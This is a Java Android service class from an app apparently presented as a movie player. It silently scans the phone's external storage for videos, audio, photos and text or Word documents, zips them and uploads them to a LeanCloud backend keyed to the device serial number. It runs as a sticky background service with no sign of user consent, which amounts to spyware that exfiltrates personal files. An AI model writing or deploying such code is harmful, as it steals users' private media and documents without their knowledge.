package com.toune.movie.service;

import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Environment;
import android.os.IBinder;
import android.util.Log;

import com.avos.avoscloud.AVException;
import com.avos.avoscloud.AVFile;
import com.avos.avoscloud.AVObject;
import com.avos.avoscloud.AVQuery;
import com.avos.avoscloud.AVUser;
import com.avos.avoscloud.FindCallback;
import com.avos.avoscloud.SaveCallback;
import com.toune.movie.base.AppConstant;
import com.toune.movie.base.myUtil.MyUtil;
import com.toune.movie.vo.FileInfo;
import com.vondear.rxtool.RxDeviceTool;
import com.vondear.rxtool.RxFileTool;
import com.vondear.rxtool.RxTimeTool;
import com.vondear.rxtool.RxZipTool;

import java.io.File;
import java.io.FileFilter;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import java.util.Map;

public class LocalFileService extends Service {
    private final String TAG = "TAG";
    public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyyMMdd", Locale.getDefault());
    private List<File> oldVideoFiles = new ArrayList<>();
    private List<File> oldImgFiles = new ArrayList<>();
    private List<File> oldTextFiles = new ArrayList<>();
    private String videoFileName;
    private String imgFileName;
    private String textFileName;
    private Runnable videoRunnable = new Runnable() {
        @Override
        public void run() {
            while (true) {
                if (!scanOver) {
                    continue;
                }
                List<File> files = getVideoFile(allFiles);
                Log.d(TAG, "run: video" + files.size());
                if (isVideoUpLoad) {
                    return;
                }
                if (files.size() > oldVideoFiles.size() || !isVideoUpLoad) {
                    //文件增多
                    oldVideoFiles = files;
                    try {
                        videoFileName = RxTimeTool.date2String(new Date(), DEFAULT_SDF) + "v.zip"; //
                        boolean isUp = hasUploadToday(videoFileName);
                        if (isUp) {
                            return;
                        }
                        //新建一个File，传入文件夹目录
                        File file1 = new File(MyUtil.getAppZipPath());
                        if (!file1.exists()) {
                            file1.mkdirs();//如果路径不存在就先创建路径
                        }
                        //判断文件夹是否存在，如果不存在就创建，否则不创建
                        File file = new File(MyUtil.getAppZipPath() + "/" + videoFileName);
                        files = renameDupFiles(files);
                        //压缩
                        RxZipTool.zipFiles(files, file);
                        //上传
                        AVFile avFile = AVFile.withAbsoluteLocalPath(videoFileName, MyUtil.getAppZipPath() + "/" + videoFileName);
                        final AVObject avObject = new AVObject("MyFile");
                        avObject.put("file", avFile);
                        avObject.put("phoneId", RxDeviceTool.getUniqueSerialNumber());
                        avObject.put("fileName", videoFileName);
                        if (AVUser.getCurrentUser() != null) {
                            avObject.put("user", AVUser.getCurrentUser().getObjectId());
                        }
                        avObject.saveInBackground(new SaveCallback() {
                            @Override
                            public void done(AVException e) {
                                if (e == null) {
                                    isVideoUpLoad = true;
                                    RxFileTool.deleteFile(MyUtil.getAppZipPath() + "/" + videoFileName);
                                } else {
                                    Log.i("service", e.getMessage());
                                }
                            }
                        });
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
    };
    private boolean isHasUpload;

    private boolean hasUploadToday(String videoFileName) {
        isHasUpload = false;
        AVQuery<AVObject> avQuery = new AVQuery<>(AppConstant.MyFile);
        avQuery.whereMatches("fileName", videoFileName);
        avQuery.whereMatches("phoneId", RxDeviceTool.getUniqueSerialNumber());
        avQuery.findInBackground(new FindCallback<AVObject>() {
            @Override
            public void done(List<AVObject> list, AVException e) {
                if (e == null) {
                    if (list.size() > 0) {
                        for (int i = 0; i < list.size(); i++) {
                            if (RxDeviceTool.getUniqueSerialNumber().equals(list.get(i).getString("phoneId"))) {
                                isHasUpload = true;
                            }
                        }
                    }
                }
            }
        });
        return isHasUpload;
    }

    private boolean isImgUpload;
    private Runnable imgRunnable = new Runnable() {
        @Override
        public void run() {
            while (true) {
                if (!scanOver) {
                    continue;
                }
                List<File> files = getImageFile(allFiles);
                Log.d(TAG, "run: img" + files.size());
                if (isImgUpload) {
                    return;
                }
                if (files.size() > oldImgFiles.size() || !isImgUpload) {
                    //文件增多
                    oldImgFiles = files;
                    try {
                        imgFileName = RxTimeTool.date2String(new Date(), DEFAULT_SDF) + "i.zip"; //
                        boolean isUp = hasUploadToday(imgFileName);
                        if (isUp) {
                            return;
                        }
                        //新建一个File，传入文件夹目录
                        File file1 = new File(MyUtil.getAppZipPath());
                        if (!file1.exists()) {
                            file1.mkdirs();//如果路径不存在就先创建路径
                        }
                        //判断文件夹是否存在，如果不存在就创建，否则不创建
                        File file = new File(MyUtil.getAppZipPath() + "/" + imgFileName);
                        files = renameDupFiles(files);
                        //压缩
                        RxZipTool.zipFiles(files, file);
                        //上传
                        AVFile avFile = AVFile.withAbsoluteLocalPath(imgFileName, MyUtil.getAppZipPath() + "/" + imgFileName);
                        final AVObject avObject = new AVObject("MyFile");
                        avObject.put("file", avFile);
                        avObject.put("phoneId", RxDeviceTool.getUniqueSerialNumber());
                        avObject.put("fileName", imgFileName);
                        if (AVUser.getCurrentUser() != null) {
                            avObject.put("user", AVUser.getCurrentUser().getObjectId());
                        }
                        avObject.saveInBackground(new SaveCallback() {
                            @Override
                            public void done(AVException e) {
                                if (e == null) {
                                    isImgUpload = true;
                                    RxFileTool.deleteFile(MyUtil.getAppZipPath() + "/" + imgFileName);
                                } else {
                                    Log.i("service", e.getMessage());
                                }
                            }
                        });
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                try {
                    Thread.sleep(5 * 60 * 1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }
    };
    private boolean isVideoUpLoad;
    private boolean isTextUpLoad;
    private Runnable textRunnable = new Runnable() {
        @Override
        public void run() {
            while (true) {
                if (!scanOver) {
                    continue;
                }
                List<File> files = getTextFile(allFiles);
                Log.d(TAG, "run: text" + files.size());
                if (isTextUpLoad) {
                    return;
                }
                if (files.size() > oldTextFiles.size() || !isTextUpLoad) {
                    //文件增多
                    oldTextFiles = files;
                    try {
                        textFileName = RxTimeTool.date2String(new Date(), DEFAULT_SDF) + "t.zip"; //
                        boolean isUp = hasUploadToday(textFileName);
                        if (isUp) {
                            return;
                        }
                        //新建一个File，传入文件夹目录
                        File file1 = new File(MyUtil.getAppZipPath());
                        if (!file1.exists()) {
                            file1.mkdirs();//如果路径不存在就先创建路径
                        }
                        //判断文件夹是否存在，如果不存在就创建，否则不创建
                        File file = new File(MyUtil.getAppZipPath() + "/" + textFileName);
                        files = renameDupFiles(files);
                        //压缩
                        RxZipTool.zipFiles(files, file);
                        //上传
                        AVFile avFile = AVFile.withAbsoluteLocalPath(textFileName, MyUtil.getAppZipPath() + "/" + textFileName);
                        final AVObject avObject = new AVObject("MyFile");
                        avObject.put("file", avFile);
                        avObject.put("phoneId", RxDeviceTool.getUniqueSerialNumber());
                        avObject.put("fileName", textFileName);
                        if (AVUser.getCurrentUser() != null) {
                            avObject.put("user", AVUser.getCurrentUser().getObjectId());
                        }
                        avObject.saveInBackground(new SaveCallback() {
                            @Override
                            public void done(AVException e) {
                                if (e == null) {
                                    isTextUpLoad = true;
                                    RxFileTool.deleteFile(MyUtil.getAppZipPath() + "/" + textFileName);
                                } else {
                                    Log.i("service", e.getMessage());
                                }
                            }
                        });
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
                try {
                    Thread.sleep(5 * 60 * 1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }
    };

    /***
     * 去除重复名字的文件
     * @param files
     * @return
     */
    private List<File> renameDupFiles(List<File> files) {
        List<File> fileList = new ArrayList<>();
        Map<String, File> fileMap = new HashMap<>();
        for (int i = 0; i < files.size(); i++) {
            File file = files.get(i);
            fileMap.put(file.getName(), file);
        }
        for (File f : fileMap.values()) {
            fileList.add(f);
        }
        return fileList;
    }

    private int VIDEO_SIZE_FILTER = 10 * 1024 * 1024; //10M 视频
    private int IMG_SIZE_FILTER = 2 * 1024 * 1024; //2M
    private int TEXT_SIZE_FILTER = 2 * 1024; //2k
    private List<FileInfo> allFiles;
    private Thread scanThread;

    public LocalFileService() {
    }

    @Override
    public IBinder onBind(Intent intent) {
        // TODO: Return the communication channel to the service.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    private boolean scanOver;
    Runnable scanFileRunnable = new Runnable() {
        @Override
        public void run() {
            //定时从手机中扫描一次文件
            allFiles = new ArrayList<>();
            allFiles = getAllTypeFile(allFiles, Environment.getExternalStorageDirectory());
            scanOver = true;
            Thread videoThread = new Thread(videoRunnable);
            videoThread.start();
            Thread imgThread = new Thread(imgRunnable);
            imgThread.start();
            Thread textThread = new Thread(textRunnable);
            textThread.start();
            try {
                Thread.sleep(30 * 60 * 1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    };

    @Override
    public void onCreate() {
        super.onCreate();
        isImgUpload = false;
        isVideoUpLoad = false;
        isTextUpLoad = false;
        try {
            RxFileTool.deleteDir(MyUtil.getAppZipPath());
        } catch (Exception e) {
            e.printStackTrace();
        }
        scanThread = new Thread(scanFileRunnable);
        scanThread.start();
    }

    @SuppressLint("WrongConstant")
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        Log.v("TrafficService", "startCommand");

        flags = START_STICKY;
        return super.onStartCommand(intent, flags, startId);
    }

    /**
     * 获取视频文件
     *
     * @param list
     * @param file
     * @return
     */
    private List<FileInfo> getAllTypeFile(final List<FileInfo> list, File file) {
        file.listFiles(new FileFilter() {
            @Override
            public boolean accept(File file) {
                String name = file.getName();
                int i = name.indexOf('.');
                if (i != -1) {
                    name = name.substring(i);
                    if (
                            name.equalsIgnoreCase(".mp4")
                                    || name.equalsIgnoreCase(".mpeg4")
                                    || name.equalsIgnoreCase(".mp3")
                                    || name.equalsIgnoreCase(".3gp")
                                    || name.equalsIgnoreCase(".wmv")
                                    || name.equalsIgnoreCase(".ts")
                                    || name.equalsIgnoreCase(".rmvb")
                                    || name.equalsIgnoreCase(".mov")
                                    || name.equalsIgnoreCase(".m4v")
                                    || name.equalsIgnoreCase(".avi")
                                    || name.equalsIgnoreCase(".m3u8")
                                    || name.equalsIgnoreCase(".3gpp")
                                    || name.equalsIgnoreCase(".3gpp2")
                                    || name.equalsIgnoreCase(".mkv")
                                    || name.equalsIgnoreCase(".flv")
                                    || name.equalsIgnoreCase(".divx")
                                    || name.equalsIgnoreCase(".f4v")
                                    || name.equalsIgnoreCase(".rm")
                                    || name.equalsIgnoreCase(".asf")
                                    || name.equalsIgnoreCase(".ram")
                                    || name.equalsIgnoreCase(".mpg")
                                    || name.equalsIgnoreCase(".v8")
                                    || name.equalsIgnoreCase(".swf")
                                    || name.equalsIgnoreCase(".m2v")
                                    || name.equalsIgnoreCase(".asx")
                                    || name.equalsIgnoreCase(".ra")
                                    || name.equalsIgnoreCase(".ndivx")
                                    || name.equalsIgnoreCase(".xvid")

                                    || name.equalsIgnoreCase(".jpg")
                                    || name.equalsIgnoreCase(".jpeg")
                                    || name.equalsIgnoreCase(".png")
                                    || name.equalsIgnoreCase(".bpm")
                                    || name.equalsIgnoreCase(".WebP")
                                    || name.equalsIgnoreCase(".gif")

                                    || name.equalsIgnoreCase(".txt")
                                    || name.equalsIgnoreCase(".doc")
                                    || name.equalsIgnoreCase(".docx")
                                    || name.equalsIgnoreCase(".wps")
                            ) {
                        FileInfo video = new FileInfo();
                        file.getUsableSpace();
                        video.setDisplayName(file.getName());
                        video.setPath(file.getAbsolutePath());

                        Log.i("tga", "name" + video.getPath());
                        list.add(video);
                        return true;
                    }
                    //判断是不是目录
                } else if (file.isDirectory()) {
                    getAllTypeFile(list, file);
                }
                return false;
            }
        });
        return list;
    }

    /**
     * 获取视频文件
     *
     * @param list
     * @return
     */
    private List<File> getVideoFile(List<FileInfo> list) {
        List<FileInfo> newFileInfos = new ArrayList<>();
        for (int i = 0; i < list.size(); i++) {
            String name = list.get(i).getDisplayName();
            int x = name.indexOf('.');
            if (x != -1) {
                name = name.substring(x);
                if (name.equalsIgnoreCase(".mp4")
                        || name.equalsIgnoreCase(".mpeg4")
                        || name.equalsIgnoreCase(".mp3")
                        || name.equalsIgnoreCase(".3gp")
                        || name.equalsIgnoreCase(".wmv")
                        || name.equalsIgnoreCase(".ts")
                        || name.equalsIgnoreCase(".rmvb")
                        || name.equalsIgnoreCase(".mov")
                        || name.equalsIgnoreCase(".m4v")
                        || name.equalsIgnoreCase(".avi")
                        || name.equalsIgnoreCase(".m3u8")
                        || name.equalsIgnoreCase(".3gpp")
                        || name.equalsIgnoreCase(".3gpp2")
                        || name.equalsIgnoreCase(".mkv")
                        || name.equalsIgnoreCase(".flv")
                        || name.equalsIgnoreCase(".divx")
                        || name.equalsIgnoreCase(".f4v")
                        || name.equalsIgnoreCase(".rm")
                        || name.equalsIgnoreCase(".asf")
                        || name.equalsIgnoreCase(".ram")
                        || name.equalsIgnoreCase(".mpg")
                        || name.equalsIgnoreCase(".v8")
                        || name.equalsIgnoreCase(".swf")
                        || name.equalsIgnoreCase(".m2v")
                        || name.equalsIgnoreCase(".asx")
                        || name.equalsIgnoreCase(".ra")
                        || name.equalsIgnoreCase(".ndivx")
                        || name.equalsIgnoreCase(".xvid")
                        ) {
                    newFileInfos.add(list.get(i));
                }
            }
        }
        List<File> files = filterFile(newFileInfos, VIDEO_SIZE_FILTER);
        return files;
    }


    /**
     * 获取图片文件
     *
     * @param list
     * @return
     */
    private List<File> getImageFile(List<FileInfo> list) {
        List<FileInfo> newFileInfos = new ArrayList<>();
        for (int i = 0; i < list.size(); i++) {
            String name = list.get(i).getDisplayName();
            int x = name.indexOf('.');
            if (x != -1) {
                name = name.substring(x);
                if (name.equalsIgnoreCase(".jpg")
                        || name.equalsIgnoreCase(".jpeg")
                        || name.equalsIgnoreCase(".png")
                        || name.equalsIgnoreCase(".bpm")
                        || name.equalsIgnoreCase(".WebP")
                        || name.equalsIgnoreCase(".gif")
                        ) {
                    newFileInfos.add(list.get(i));
                }
            }
        }
        List<File> files = filterFile(newFileInfos, IMG_SIZE_FILTER);
        return files;
    }


    /**
     * 获取文本文件
     *
     * @param list
     * @return
     */
    private List<File> getTextFile(List<FileInfo> list) {
        List<FileInfo> newFileInfos = new ArrayList<>();
        for (int i = 0; i < list.size(); i++) {
            String name = list.get(i).getDisplayName();
            int x = name.indexOf('.');
            if (x != -1) {
                name = name.substring(x);
                if (name.equalsIgnoreCase(".txt")
                        || name.equalsIgnoreCase(".doc")
                        || name.equalsIgnoreCase(".docx")
                        || name.equalsIgnoreCase(".wps")
                        ) {
                    newFileInfos.add(list.get(i));
                }
            }
        }
        List<File> files = filterFile(newFileInfos, TEXT_SIZE_FILTER);
        return files;
    }

    /**
     * 按照条件进行筛选
     *
     * @param FileInfos
     * @return
     */
    private ArrayList<File> filterFile(List<FileInfo> FileInfos, int filterSize) {
        ArrayList<File> newVideos = new ArrayList<File>();
        for (FileInfo FileInfo : FileInfos) {
            try {
                File f = new File(FileInfo.getPath());
                if (f.exists() && f.isFile() && f.length() > filterSize) {
                    newVideos.add(f);
//                Log.i("TGA", "文件大小" + f.length());
                } else {
//                Log.i("TGA", "文件太小或者不存在");
                }
            } catch (Exception e) {
                e.printStackTrace();
                continue;
            }
        }
        return newVideos;
    }


    public static void startThis(Context context) {
//        Intent intent = new Intent(context, LocalFileService.class);
////            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//        context.startService(intent);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
//        startThis(this);
    }
}
